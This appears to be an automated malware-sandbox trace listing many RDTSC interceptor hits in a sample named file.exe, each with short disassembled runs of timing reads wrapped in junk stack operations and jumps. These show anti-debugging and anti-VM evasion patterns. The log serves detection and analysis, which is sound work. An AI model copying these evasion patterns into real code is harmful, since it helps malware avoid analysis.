Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A386 second address: F6A390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A390 second address: F6A394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A394 second address: F6A39A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A39A second address: F6A3B7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F90CCB8A182h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A3B7 second address: F6A3BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F26D second address: F6F290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F90CCB8A189h 0x00000009 jnp 00007F90CCB8A176h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F290 second address: F6F2A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F90CD2EB7C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77E42 second address: F77E54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A17Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77E54 second address: F77E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jc 00007F90CD2EB7CCh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77E6C second address: F77E70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75F8D second address: F75F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75F99 second address: F75F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75F9F second address: F75FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 je 00007F90CD2EB7C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75FAD second address: F75FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 je 00007F90CCB8A176h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f popad 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007F90CCB8A176h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76941 second address: F76950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F90CD2EB7C6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76BEB second address: F76BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76BEF second address: F76C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F90CD2EB7C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F90CD2EB7CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76D3B second address: F76D55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F90CCB8A181h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77533 second address: F77543 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F90CD2EB7CEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77543 second address: F77547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75B36 second address: F75B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75B3A second address: F75B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75B42 second address: F75B4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F90CD2EB7C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75B4D second address: F75B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F90CCB8A17Eh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C990 second address: F7C99F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 ja 00007F90CD2EB7C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEBAE second address: EBEBB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E0BE second address: F7E0C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E0C2 second address: F7E0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F90CCB8A176h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jp 00007F90CCB8A176h 0x00000016 jmp 00007F90CCB8A189h 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E0F2 second address: F7E0FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2153 second address: EC215D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F90CCB8A176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F831FE second address: F83211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F90CD2EB7CEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F83211 second address: F8324B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F90CCB8A189h 0x00000008 jmp 00007F90CCB8A17Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F90CCB8A180h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8324B second address: F83250 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9012E second address: F90150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F90CCB8A186h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9512D second address: F9514F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F90CD2EB7D4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9514F second address: F95153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99C83 second address: F99C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA29AF second address: FA29B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA29B5 second address: FA29B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA29B9 second address: FA29BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA29BD second address: FA29E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CD2EB7D3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F90CD2EB7CEh 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA29E9 second address: FA29F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F90CCB8A176h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4F52 second address: FA4F65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F90CD2EB7CDh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD3FF second address: FAD405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD6AF second address: FAD6C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F90CD2EB7CFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD838 second address: FAD83C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD83C second address: FAD85F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F90CD2EB7D9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADDF4 second address: FADDFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADDFD second address: FADE2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F90CD2EB7D9h 0x0000000b jp 00007F90CD2EB7C6h 0x00000011 pop esi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 push eax 0x00000018 pop eax 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3613 second address: FB3617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3617 second address: FB3656 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F90CD2EB7CEh 0x00000012 jo 00007F90CD2EB7C6h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pushad 0x0000001b jmp 00007F90CD2EB7D8h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3656 second address: FB365E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB365E second address: FB3663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3791 second address: FB37B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CCB8A189h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB37B3 second address: FB37B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB37B7 second address: FB37BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB37BB second address: FB37C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB77FB second address: FB780B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB780B second address: FB7814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3ED6 second address: FC3EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3EDC second address: FC3EED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F90CD2EB7CBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3EED second address: FC3EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3D56 second address: FC3D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3D5C second address: FC3D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F90CCB8A189h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3D7E second address: FC3D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3D84 second address: FC3D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3D88 second address: FC3D8E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3D8E second address: FC3D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF133 second address: FBF16B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CD2EB7CFh 0x00000009 jc 00007F90CD2EB7C6h 0x0000000f jmp 00007F90CD2EB7D6h 0x00000014 popad 0x00000015 jne 00007F90CD2EB7CCh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF16B second address: FBF16F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF16F second address: FBF18D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F90CD2EB7CEh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F90CD2EB7CAh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF18D second address: FBF191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF191 second address: FBF197 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD11E3 second address: FD11E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD11E9 second address: FD11ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD11ED second address: FD1205 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A17Ah 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F90CCB8A176h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1205 second address: FD1209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1209 second address: FD120F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD120F second address: FD1215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1215 second address: FD1219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1219 second address: FD121D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFFF8 second address: FDFFFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE01AC second address: FE01B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE01B0 second address: FE01B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE01B4 second address: FE01BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE01BC second address: FE01C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE049D second address: FE04AF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F90CD2EB7CEh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0615 second address: FE0643 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F90CCB8A17Eh 0x0000000e jmp 00007F90CCB8A185h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0643 second address: FE0663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F90CD2EB7CAh 0x00000016 push ecx 0x00000017 pushad 0x00000018 popad 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0663 second address: FE066F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F90CCB8A176h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0A50 second address: FE0A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CD2EB7CFh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop eax 0x0000000d jc 00007F90CD2EB7FBh 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007F90CD2EB7C6h 0x0000001b jmp 00007F90CD2EB7CAh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0E92 second address: FE0EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F90CCB8A176h 0x0000000c popad 0x0000000d jmp 00007F90CCB8A17Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0EAA second address: FE0EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0EB0 second address: FE0EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CCB8A17Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5611 second address: FE561B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7F2E second address: FE7F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8187 second address: FE81A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 mov dword ptr [ebp+122D1E8Bh], esi 0x0000000b push 00000004h 0x0000000d mov dword ptr [ebp+12480C83h], ecx 0x00000013 call 00007F90CD2EB7C9h 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE81A8 second address: FE81D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 jmp 00007F90CCB8A181h 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 pushad 0x00000015 jmp 00007F90CCB8A17Dh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
